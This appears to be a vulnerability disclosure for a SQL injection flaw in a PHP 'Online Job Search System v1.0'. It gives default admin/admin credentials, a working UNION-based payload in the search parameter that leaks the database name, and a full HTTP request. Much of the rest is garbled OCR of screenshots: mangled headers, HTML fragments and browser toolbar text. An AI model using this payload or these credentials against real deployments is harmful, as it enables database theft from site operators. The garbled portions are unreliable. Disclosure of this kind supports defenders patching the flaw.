

## Complete Online Job Search System v1.0 has SQL injection

The password for the backend login account is: admin/admin

vendors: https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/

Vulnerability File: /eris/index.php?q=category&search=

Vulnerability location: /eris/index.php?q=category&search=,search

Current database name: erisdb

[+] Payload: /eris/index.php? q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,datab ase(),15,16,17,18,19--+ // Leak place ---> search

GET /eris/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8, Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1 Cookie: PHPSESSID=mho0fs26310tis816v3lqpu6q4 Connection: close <div class="col-sm-6"> GET /eris/index.php?q=category&search=Banking%27%20union%20 select%201,2,3,4,5,6,7,8,9,10,11,12,13,database(),15,16,17,18,19--+ HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html.application/yhtml+yml.application/yhtml-cole\*\* <u1> <i class="fp-ht-bed"></i>Required No. of Emp 11</1i> <i class="fp-ht-food"></i>Salary : 12.00<i class="fa fa-sun-"></i>Duration of Employ </div>
<div class="col-sm-6"> text/html,application/xhtml+xml,application/xml;q=0.9,\* text/ntm1,appi1cation/xntm1+xm1,appi1cation/xm1;q=0.s/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=mhoofs26310tis816v31qpu6q4
Connection: close <1i><i class="fp-ht-tv"></i>Prefered Sex : 16</i>
<i class="fp-ht-computer"></i>Sector of Vaca </div> -->
</div> -->
<div class="col-sm-12">
Qualification/Work Experience :

erisdb </di>
</div>
<div class="col-sm-12">
ob Description:

1>15 Y = 🔻 SQL BASICS\* UNION BASED\* EKKOKODOUBLE QUEKT\* TOOLS\* WAF BTYASS\* ENCODING\* HTML\* ENCKTYTION\* OTHEK\* ASS\* LFIF Load URL http://192.168.1.19/eris/index.php?q=category&search=Banking' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,database(),15,16,17,18,19--+| 0 Split URL Execute ≪ %URL >> ■ BASE64 ■ Insert string to replace Insert replacing string Replace All > **△** Lc **WEBSITE NAME** COMPANY HOME POPULAR IOBS ▼ HIRING NOW ABOUT US CONTAC IOB SEARCH -**Search For Banking' Union Select** <del>1,2,3,4</del>,5,6,7,8,9,10,11,12,13,database(),15,16,17,18,19--

Qualification/Work Experience:
erisdb
Job Description:
15